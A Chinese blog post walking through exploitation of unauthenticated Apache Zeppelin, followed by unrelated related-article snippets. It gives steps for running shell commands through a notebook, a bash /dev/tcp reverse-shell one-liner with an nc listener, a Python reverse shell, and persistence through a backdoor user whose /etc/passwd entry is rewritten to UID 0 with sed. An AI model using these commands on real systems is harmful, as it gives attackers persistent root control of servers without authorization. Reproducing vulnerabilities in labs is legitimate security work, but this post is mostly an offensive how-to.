zeppelin 未授权任意命令执行漏洞复现

一、命令执行复现

  1. 访问http://ip:8080,打开zeppelin页面,(zeppelin默认监听端口在8080)

image20210714113412518.png

  1. 点击Notebook->create new note创建新笔记

image20210714115155960.png

  1. 在创建笔记的时候选择Default Interpreter为sh,即可执行sh命令

    image20210714115241087.png

  2. 如下图,在命令窗口输入命令,按 shift+Enter 或点击右侧的执行按钮,即可执行sh命令

    image20210714115258525.png

# 二、反弹shell

  1. 不管是用哪种反弹shell的方式,都要在用于接受反弹shell的机器上开启端口监听,注意目标要能主动和接受的机器建立连接(即在同一网段或监听的端口处于公网),这里使用nc监听2333端口,命令为 nc -lvvp 2333,如图所示,开启了监听

    image20210714123724804.png

  2. 利用sh反弹shell 命令为:

    bash -i >& /dev/tcp/ip/port 0>&1
    

    image20210714124643675.png

  3. 重新开启监听,利用python反弹shell(内存不够会失败,折磨我两个小时才找到原因,太菜了太菜了)

    在创建新笔记的时候选择python

    image20210714124818546.png

    这里不需要使用python -c来执行python命令,直接像写python脚本一样就行

    image20210714141018535.png

    成功拿到了反弹的shell,但是python弹回来的并不是一个真的shell,类似于passwd这种需要交互的命令执行不了,而sh弹回来的一般不会有这种问题

# 三、拿下控制权

我们使用sh弹回来的shell进行下一步操作,创建一个特权用户,拿下对目标的持续控制,因为弹回来的是root权限,所以我们可以很方便的操作,但如果是普通用户,我们可以尝试是否拥有sudo权限,如果没有那就得另觅它法了

  1. 创建用户并更改用户密码,命令为
useradd abc
passwd abc # 根据提示重复输入两次密码(高版本系统可能会要求足够复杂的密码)

image20210714144510272.png

  1. 利用 /etc/passwd 文件提升用户的权限

    查看 /etc/passwd,主要注意root和abc两个用户,其中root用户中间的两个数字为 0:0,第一个0(UID)代表root用户,第二个0(GID)代表root组,abc用户的为 1000:1000,同样的,分别代表abc用户和abc组

image20210714145254972.png

所以我们只要将abc中间的两个数字改为 0:0,就能成功把abc提权为root用户

由于没装vi、vim这种编辑器,所以我们需要利用sed命令去修改文件

sed -i '$cabc:x:0:0:root:/root:/bin/bash' /etc/passwd
# -i  参数代表直接对文件操作
# $ 代表文件的最后一行
# c 是 替换,后面为要替换的内容

测试用户权限,su abc切换到abc用户,执行whoami,发现我们依旧是root用户

image20210714151155922.png

之后我们就可以通过ssh随时连接目录机器

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/848793.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Dell服务器使用ipmi控制风扇转速

#关闭自动调速 ipmitool -I lanplus -U root -P XXX -H 192.168.3.30 raw 0x30 0x30 0x01 0x00 ipmitool -I lanplus -U root -P XXX -H 192.168.3.30 raw 0x30 0x30 0x02 0xff 0x23#80%转速 ipmitool -I lanplus -U root -P XXX -H 192.168.3.30 raw 0x30 0x30 0x02 0xff 0x50…

最新去水印小程序源码分享/无需后台/对接接口/支持全网去水印功能

最新去水印小程序源码分享:无需后台、对接接口,支持全网去水印功能,经过测试发现,该去水印小程序的解析接口需要付费使用。如果您有免费的解析接口,可以自行替换原有接口。 不过,不论是否付费,…

JAVA小案例-分别计算100以内奇数和偶数的和

JAVA小案例-分别计算100以内奇数和偶数的和 没啥可说的,就是for循环加if分支,也可以用while写。 代码如下: public class Jiouhe {/*** 分别计算100以内奇数和偶数的和* param args*/public static void main(String[] args){int sum10;in…

老程序员学习AI大模型的焦虑与机遇

前言 在这个科技飞速发展的时代,AI大模型成为了编程领域的热门话题。许多人都认为,学习AI大模型是获取高薪职位和实现职业发展的关键。然而,作为一名拥有十多年编程经验的老程序员,我不得不承认,面对这一新兴技术&…

WebGL开发地理信息系统

WebGL开发地理信息系统(GIS)是一项复杂且具有挑战性的任务,需要解决一系列技术难点。以下是一些主要的技术难点及其可能的解决方案。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作。 1.大规模数据渲染…

SQL语句练习每日5题(一)

一、查询 题目1——查询所有列: 现在运营想要查看用户信息表中所有的数据,请你取出相应结果 答案: select * from user_profile 题目2——查询多列: 请取出用户的设备id对应的性别、年龄和学校的数据 答案:select …

QT:QML中使用Loader加载界面

目录 一.介绍 二.实现 三.效果展示 四.代码 一.介绍 在QML中使用Loader加载界面,可以带来诸多好处,如提高应用程序的启动速度、动态地改变界面内容、根据条件加载不同的组件、更有效地使用内存以及帮助分割应用逻辑等。 1.延迟加载:QML…

区块链学习记录01

在学习过程中所遇到的问题,及其解。 Q:区块链中分布式账本的存在,让所有人都知道资金的变动吗? A:区块链中的分布式账本确实让参与网络的所有节点都能够了解账户之间的资金变动。这是因为区块链是一个分布式数据库,其中包含着所…

Java 基础面试题

文章目录 重载与重写抽象类与接口面向对象a a b 与 a b 的区别final、finalize、finallyString、StringBuild、StringBuffer位运算反射 重载与重写 重载:是在同一个类中,方法名相同,方法参数类型,个数不同,返回类型…

苹果不会在WWDC 2024中推出任何搭载M4芯片的Mac电脑

虽然苹果公司已在上月推出了首搭 M4 芯片的 iPad Pro,不过彭博社的马克・古尔曼在最近的实时通讯中透露苹果公司不会在即将进行的 WWDC 2024 开发者大会中推出任何搭载 M4 芯片的 Mac 电脑(不会推出任何硬件产品)。 此前报道,苹果…

linux命令别名与shell函数

# 修改网卡配置 alias vinetwork"vi /etc/sysconfig/network-scripts/ifcfg-ens33" 1. 方法和调用在同一个文件 # 定义shell函数,返回值通过$?获取 function say_hello(){ echo "hello shell" return 1 } # 使用shell函数 say_hello # 执行脚本后接收返…

源代码防泄密是什么?

1.源代码防泄密的概念 源代码防泄密是指采取一系列措施和技术手段,以防止源代码被未授权的访问、复制、传播或篡改,从而保障软件的知识产权和系统的安全性。 2.源代码防泄密的重要性 源代码是软件的核心部分,一旦泄露,可能会被…

fastjson序列化对象后属性变更问题

使用fastjson进行JSON序列化存储到数据库后,发现JSON字符串“莫名其妙地”多了一些属性。 public class MyClass {// boolean 类型的属性private boolean isActive;private boolean valid;// int 类型的属性private int id;// 默认构造器public MyClass() {}// 带有…

前端框架之 MVVM

MVVM vue 是典型的 MVVM 框架,v-model 实现了 VM 部分 MVVM 的理解 M:模型层、数据层,简单理解就是定义在 data 中的变量 V:视图层,就是浏览器展示的页面 M > V:数据的改变,需要同步更新…

公寓远程抄表系统:智能管理方法新的篇章

1.界定和功能 公寓远程抄表系统是一种前沿的自动化控制,它允许物业管理管理人员在远离现场部位收集和分析公寓里的电力能源使用数据,似水、电、气等。根据集成传感器、物联网产品和云计算,系统能实时检测并记录公寓的能耗状况,大…

OCR行驶证识别介绍

OCR行驶证识别是一种基于光学字符识别(OCR)技术的应用,专门用于识别机动车行驶证上的关键字段信息。以下是关于OCR行驶证识别的详细解释: 定义与原理 OCR行驶证识别通过扫描或拍摄行驶证图片,利用计算机视觉和模式识别…

可视化数据科学平台在信贷领域应用系列三:特征组合

现代各企业都提倡“降本增效”,所以越来越多优秀的工具诞生了。若想在特征加工这块工作上提升效率,建模人员也能有更多时间“偷懒”,都 “Sora”时代了,为啥不巧用工具呢?RapidMiner在信贷风控特征加工组合中是一把利器…

17 - 项目员工 I(高频 SQL 50 题基础版)

17 - 项目员工 I select-- round(sum(e.experience_years)/count(*),2) p.project_id,round(avg(e.experience_years),2) average_years from Project p left join Employee e on p.employee_ide.employee_id group by p.project_id;

智能座舱车载数字人解决方案,低资源占用

随着智能汽车的快速发展,人们对汽车的需求已经超越了单纯的交通工具定义,而是更加追求个性化、智能化的出行体验。在这样的背景下,美摄科技凭借其卓越的技术实力和创新能力,推出了面向企业的智能座舱车载数字人解决方案&#xff0…

Qt Creator常用的快捷键和常用功能

常用快捷键 新建项目,ctrl n 运行项目,ctrl r 构建项目,ctrl b 改变编辑器界面字体显示比例大小,ctrl 鼠标滚轮 对齐代码,ctrl a; ctrl i 跳转到上一行,ctrl shift enter 跳转到下一行,…